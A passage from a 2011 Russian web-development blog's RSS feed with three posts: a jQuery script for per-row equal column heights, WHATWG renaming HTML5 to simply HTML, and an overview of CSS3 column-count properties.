		<feedburner:origLink>http://shublog.ru/html-and-css/html5-i-css3-uzhe-segodnya-chast-2-podborka-interesnykh-i-praktichnykh-primerov/</feedburner:origLink></item>
		<item>
		<title>Колонки одинаковой высоты – лучший скрипт</title>
		<link>http://feedproxy.google.com/~r/shublog/~3/J5a88Fwt3oM/</link>
		<comments>http://shublog.ru/ajax/jquery/kolonki-odinakovojj-vysoty-luchshijj-script/#comments</comments>
		<pubDate>Mon, 28 Feb 2011 17:53:00 +0000</pubDate>
		<dc:creator>Александр Шуйский</dc:creator>
				<category><![CDATA[AJAX]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Важные мелочи]]></category>

		<guid isPermaLink="false">http://shublog.ru/?p=1325</guid>
		<description><![CDATA[Зачастую необходимо задать нескольким колонкам одинаковую высоту, дабы сохранить целостность дизайна страницы. Но цели этой одинаковой высоты могут быть различны: одно дело, когда речь идёт о трёх колонках, скажем, разметки сайта, а другое дело, когда у нас много блоков или число блоков варьирует от нескольких штук, до нескольких десятков. Первый случай мы не рассматриваем, т.к. [...]]]></description>
			<content:encoded><![CDATA[<p align="justify">Зачастую необходимо задать нескольким колонкам одинаковую высоту, дабы сохранить целостность дизайна страницы. Но <em>цели этой одинаковой высоты могут быть различны</em>: одно дело, когда речь идёт <em>о трёх колонках</em>, скажем, разметки сайта, а другое дело, когда у нас <em>много блоков</em> или число блоков варьирует от нескольких штук, до нескольких десятков. Первый случай мы не рассматриваем, т.к. там решений много и они несложные, а вот во втором случае… </p>
<p align="justify">Рассмотрим пример. В родительском блоке с ограниченной шириной (скажем 1000px) расположен дюжину блоков шириной в 250px, которым задан float:left. Задайте им разную высоту и вы увидите, что они ложатся настолько криво, насколько это возможно. Что нужно? Одинаковая высота колонок.</p>
<p align="justify">Для задания одинаковой высоты, в некоторых (скорее редких) случаях подойдёт просто min-height, но он не является панацеей. <em>Нужен скрипт, который бы выделил самый высокий блок в коде и задал бы остальным блокам ту же высоту.</em> Замечательно, и таких примеров хватает, НО!</p>
<p align="justify">Есть одно громадное НО. Допустим все колонки получаются в высоту 100px, а лишь одна в 300px. Несложно догадаться, что все колонки будут в 300px и будут строки с большим отступом до следующей строки. И выглядеть это будет очень гумозно. Что же нужно?</p>
<p align="justify"><strong><u>ЦЕЛЬ</u></strong>:<strong> <em>скрипт, который обрабатывает массив контейнеров следующим образом – смотрит сколько получается строк, какой блок в каждой строке самый высокий и подгоняет остальные блоки в строке под максимальную высоту блока для этой строки</em></strong>.</p>
<p align="justify"><img style="border-right-width: 0px; display: block; float: none; border-top-width: 0px; border-bottom-width: 0px; margin-left: auto; border-left-width: 0px; margin-right: auto" title="equal-heights" border="0" alt="equalheights Колонки одинаковой высоты – лучший скрипт" src="http://shublog.ru/content/uploads/2011/02/equalheights.png" width="577" height="252" /> </p>
<p align="justify">И самое приятное, что такой скрипт существует! Недавно один умный мужик, Стивен Акинс, опубликовал у себя <noindex><a href="http://stephenakins.blogspot.com/2011/01/uniform-div-heights-for-liquid-css-p.html" rel="nofollow" target="_blank">в блоге</a></noindex> статью, где предлагает рабочий скрипт на jQuery, который справляется с задачей на ура. </p>
<p align="justify">Идея работы скрипта проста: учитывается позиция контейнера от вершины страницы, в следствие чего распознаётся какой контейнер в какой строке расположен. </p>
<p align="justify">Я скрипт сильно не изменял, добавил лишь возможность прописать идентификатор/класс объектов, к которым применять скрипт. </p>
<p align="justify"><strong><u>Использование</u></strong>. Подключить jQuery, подключить файл скрипта, активировать скрипт на странице. Последний шаг представлен чуть ниже.</p>
<div class="coding_block">$(function() {    <br />&#160;&#160;&#160; columnConform('#page-wrap &gt; div');     <br />});     <br />$(window).resize(function() {     <br />&#160;&#160;&#160; columnConform('#page-wrap &gt; div');     <br />}); </div>
<p>Первые три строки исправляют высоту блоков, а последние три строки отвечают за то, что если будет производиться ресайз окна браузера, то высоты пересчитаются вновь. Если дизайн не резиновый, то последние три строки можно спокойно убрать.</p>
<p>Предлагаю ссылку на пример и ссылку на архив примера, чтобы можно было скачать и поюзать у себя.</p>
<div><a class="but_sample" href="http://shublog.ru/examples/2011.02.17-equal-heights/equal-heights.html" target="_blank">&#160;</a> <a class="but_download" href="http://shublog.ru/files/js/equal-heights.zip" target="_blank">&#160;</a></div>
<p>&nbsp;</p>
<p>&nbsp;</p>
<img src="http://feeds.feedburner.com/~r/shublog/~4/J5a88Fwt3oM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://shublog.ru/ajax/jquery/kolonki-odinakovojj-vysoty-luchshijj-script/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://shublog.ru/ajax/jquery/kolonki-odinakovojj-vysoty-luchshijj-script/</feedburner:origLink></item>
		<item>
		<title>HTML5 здесь больше не живёт. Добро пожаловать, HTML</title>
		<link>http://feedproxy.google.com/~r/shublog/~3/9lvmBOYasZs/</link>
		<comments>http://shublog.ru/html-and-css/html5-zdes-bolshe-ne-zhivjot-dobro-pozhalovat-html/#comments</comments>
		<pubDate>Sun, 20 Feb 2011 16:21:00 +0000</pubDate>
		<dc:creator>Александр Шуйский</dc:creator>
				<category><![CDATA[HTML&CSS]]></category>
		<category><![CDATA[html5]]></category>

		<guid isPermaLink="false">http://shublog.ru/?p=1331</guid>
		<description><![CDATA[Организация WHATWG (The Web Hypertext Applications Technology Working Group) сделала заявление, что они отбрасывают номера версий HTML, и теперь не будет HTML5 и стандарт будет называться просто HTML. 
Заявление было сделано одним из главных редакторов стандарта – Яном Хиксоном (ссылка на статью). Теперь:

Спецификация будет известна как &#34;HTML&#34; и будет иметь адрес http://whatwg.org/html. 
Спецификация HTML может [...]]]></description>
			<content:encoded><![CDATA[<p>Организация WHATWG (The Web Hypertext Applications Technology Working Group) сделала заявление, что они отбрасывают номера версий HTML, и теперь не будет HTML5 и стандарт будет называться просто HTML. </p>
<p>Заявление было сделано одним из главных редакторов стандарта – Яном Хиксоном<noindex> (<a href="http://blog.whatwg.org/html-is-the-new-html5" rel="nofollow" target="_blank">ссылка на статью</a>)</noindex>. Теперь:</p>
<ol>
<li><em>Спецификация будет известна как &quot;HTML&quot; и будет иметь адрес <noindex></em><a href="http://whatwg.org/html" rel="nofollow" target="_blank"><em>http://whatwg.org/html</em></a></noindex><em>. </em></li>
<li><em>Спецификация HTML может теперь рассматриваться как &quot;живущий стандарт&quot;. Это более зрело, чем какие-либо номера версий.</em> </li>
</ol>
<p><img style="border-right-width: 0px; margin: 0px 0px 0px 10px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="html5" border="0" alt="html5 HTML5 здесь больше не живёт. Добро пожаловать, HTML" align="right" src="http://shublog.ru/content/uploads/2011/02/html5.png" width="114" height="125" /> Самое забавное, что заявление было сделано через два дня после того, как WHATWG вместе с W3C представили логотип HTML5 (см.картинку). Хотя, по правде, до сих пор не понимаю зачем логотип для HTML.</p>
<p>Несмотря на заявление, термин &quot;HTML5&quot; вряд ли исчезнет, не говоря уже о том, что W3C по прежнему является приверженцем HTML5 и не обязательно, что последует заявлению WHATWG.</p>
</p>
<p>Теперь вопрос: нужны ли нам номера версий? С одной стороны весь мир вращается вокруг версий и это решение может привести к путанице – как узнать чему соответствует браузер и что он понимает? </p>
<p>Впрочем, мне кажутся эти сомнения ерундой и в потенциале видятся одни плюсы. Прежде всего разработчики не будут тянуть одеяло на себя и говорить, что мы вот поддерживаем это, а вон то, это к ним. При этом раз стандарт будет общепринятый, то разработчикам будет резонно обмениваться идеями друг с другом, чтобы обеспечить максимальную поддержку возможностей HTML. И всё это не говоря о том, что у HTML, в большинстве случаев, есть обратная совместимость, т.е., к примеру, старые браузеры не понимают &lt;input type=&quot;email&quot;&gt; и заменяют его на &lt;input type=&quot;text&quot;&gt;, что само по себе не критично.</p>
<p>Так что полагаю со временем у нас будет только HTML и никаких цифр, и проблем от этого у всех нас не будет. Тогда HTML действительно будет &quot;жить&quot;.</p>
<img src="http://feeds.feedburner.com/~r/shublog/~4/9lvmBOYasZs" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://shublog.ru/html-and-css/html5-zdes-bolshe-ne-zhivjot-dobro-pozhalovat-html/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://shublog.ru/html-and-css/html5-zdes-bolshe-ne-zhivjot-dobro-pozhalovat-html/</feedburner:origLink></item>
		<item>
		<title>Свойства CSS3! Часть 5 – column-count. Несколько колонок в HTML</title>
		<link>http://feedproxy.google.com/~r/shublog/~3/qn51ilmSl4c/</link>
		<comments>http://shublog.ru/html-and-css/svojjstva-css3-chast-5-column-count-neskolko-kolonok-v-html/#comments</comments>
		<pubDate>Sat, 12 Feb 2011 11:40:00 +0000</pubDate>
		<dc:creator>Александр Шуйский</dc:creator>
				<category><![CDATA[HTML&CSS]]></category>
		<category><![CDATA[css3]]></category>

		<guid isPermaLink="false">http://shublog.ru/?p=1282</guid>
		<description><![CDATA[ Одно из самых полезнейших свойств новой спецификации. Вспомните, как нужно задрочмучиться, чтобы в резиновом дизайне сделать область из 3, 4 или 5 колонок одинаковой ширины и при этом не использовать таблицы. Правильно, ацкий ад. Теперь это можно сделать всего лишь несколькими строчками CSS. Правда пока имеется небольшая ложка дёгтя, но об этом попозже. 
Итак, [...]]]></description>
			<content:encoded><![CDATA[<p align="justify"><img style="border-bottom: 0px; border-left: 0px; margin: 0px 0px 0px 15px; display: inline; border-top: 0px; border-right: 0px" title="w3c" border="0" alt="w3c Свойства CSS3! Часть 5 &ndash; column count. Несколько колонок в HTML" align="right" src="http://shublog.ru/content/uploads/2011/01/w3c.jpg" width="229" height="172" /> Одно из самых полезнейших свойств новой спецификации. Вспомните, как нужно за<strike>дроч</strike>мучиться, чтобы в резиновом дизайне сделать область из 3, 4 или 5 колонок одинаковой ширины и при этом не использовать таблицы. Правильно, ацкий ад. Теперь это можно сделать всего лишь несколькими строчками CSS. Правда пока имеется небольшая ложка дёгтя, но об этом попозже. </p>
<p align="justify">Итак, какими же средствами мы обладаем, чтобы создать многоколоночный блок.</p>
<table border="0" cellspacing="0" cellpadding="2" width="541">
<tbody>
<tr>
<th valign="top" width="120">
<div align="center">Свойство</div>
</th>
<th valign="top">
<div align="center">Описание</div>
</th>
<th valign="top" width="170">
<div align="center">Пример</div>
</th>
</tr>
<tr>
<td valign="top"><strong>column-count</strong></td>
<td valign="top">количество колонок</td>
<td valign="top">column-count: 3;</td>
</tr>
<tr>
<td valign="top"><strong>column-gap</strong></td>
<td valign="top">расстояние между колонками</td>
<td valign="top">column-gap: 2em;</td>
</tr>
<tr>
<td valign="top"><strong>column-width</strong></td>
<td valign="top">ширина столбца</td>
<td valign="top">column-width: 200px;</td>
</tr>
<tr>
<td valign="top"><strong>column-rule</strong></td>
<td valign="top">
<div align="left">разделительная линия между колонками (формат записи аналогичен свойству border)</div>
</td>
<td valign="top">column-rule: 1px solid #000;</td>
</tr>
<tr>
<td valign="top"><strong>column-rule-width</strong></td>
<td valign="top">ширина разделительной линии</td>
<td valign="top">column-rule-width: 5px;</td>
</tr>
<tr>
<td valign="top"><strong>column-rule-style</strong></td>
<td valign="top">стиль разделительной линии</td>
<td valign="top">column-rule-style: dotted;</td>
</tr>
<tr>
<td valign="top"><strong>column-rule-color</strong></td>
<td valign="top">цвет разделительной линии</td>
<td valign="top">column-rule-color: #fff;</td>
</tr>
</tbody>
</table>
<p align="justify">Не забываем, что для мозиллы и вебкит браузеров необходимо дублировать свойства с приставками <strong>-webkit-</strong> и <strong>-moz-</strong>. </p>
<p align="justify">Думаю как с этими свойствами работать итак понятно. Однако подмечу следующее. По-умолчанию, column-count имеет значение auto. Это означает, что если задать column-width, то количество колонок будет высчитано автоматически. </p>
<p align="justify">Теперь несколько слов о том для чего это надо, где это можно применить и какие есть ограничения.</p>
<p> <span id="more-1282"></span>
<p align="justify">&#160;</p>
<p style="font: 18px georgia" align="center">Зачем?</p>
<p align="justify">В принципе, column-count отсылает нас ещё к газетам, а если полнее сказать, то к полиграфии. Для чего же оно делалось? Прежде всего – это удобство для чтения, т.к. человеческий глаз лучше всего воспринимает строки текста длиной в среднем 10 слов. Также, разделения текста по колонкам позволяет лучше организовать контент и снизить количество свободного пространства на странице.</p>
<p style="font: 18px georgia" align="center">&#160;</p>
<p style="font: 18px georgia" align="center">Применение</p>
<p>Для чего же можно применить это свойство. Полагаю, что оптимальным использованием можно считать следующее – на сайтах с большим центральным полем можно разделить текст на колонки. Плюс в том, что если он не разделится, то ничего страшного от этого не будет.</p>
<p>Вторым местом для использования я бы предложил какое-нибудь массивное вертикальное меню, где нужны блоки одинаковой ширины. Но, если column-count не сработает, то выйдет косяк. </p>
<p align="justify">&#160; </p>
<p style="font: 18px georgia" align="center">Ограничения</p>
<ul>
<li>
<div align="justify">Нельзя задавать свойства отдельной колонки, типа бэкграунда и ширины, так что для вёрстки сайта свойство пока не применить</div>
</li>
<li>
<div align="justify">Если задать высоту колонки, то если текста будет очень много, будут добавлены дополнительные колонки. чтобы его уместить. Но благо оно лечится через overflow: hidden.</div>
</li>
<li>
<div align="justify">Если блок делится на колонки и задан column-rule, то в случае, когда текст помещается в одну колонку, вебкит браузеры разделительную линию покажут, а мозиллоподобные браузеры – нет.</div>
</li>
<li>
<div align="justify">Есть ещё два свойства, которые есть в спецификации, но не поддерживаются ни одним браузером. Это column-break, которым можно указать, когда начинать следующую колонку ( <em>.container h3 { column-break-before:always; }</em> ). Второе свойство – column-span, позволяет отобразить элемент через все колонки, к примеру, заголовок ( <em>.container h1 { column-span:all; }</em> ).</div>
</li>
<li>
<div align="justify">Те свойства, что имеются, ишаком совсем не поддерживаются, не говоря уже о некоторых других разновидностей и версий браузера (вроде с оперой есть проблемы). Хотя, для ишака есть попытка написания плагина, но я бы его назвал в лучшем случае бетой. Впрочем, автор этого и не скрывает<noindex> (<a href="http://enter.lv/ru/ch_cols/" rel="nofollow" target="_blank">линк</a>)</noindex>.</div>
</li>
</ul>
<p>&#160;</p>
<p>&#160;</p>
<p>Вот и всё на сегодня. Жаль, что свойство поддерживается не всеми и нет при этом хаков. Хотя больше всего жаль именно то, что функционал пока не весь доступен и пока нельзя этот метод считать ещё одним в серии для создание многоколоночных вёрсток. Остаётся надеяться, что в консорциуме подумают над этим как следует.</p>
<img src="http://feeds.feedburner.com/~r/shublog/~4/qn51ilmSl4c" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://shublog.ru/html-and-css/svojjstva-css3-chast-5-column-count-neskolko-kolonok-v-html/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://shublog.ru/html-and-css/svojjstva-css3-chast-5-column-count-neskolko-kolonok-v-html/</feedburner:origLink></item>
	</channel>
</rss>

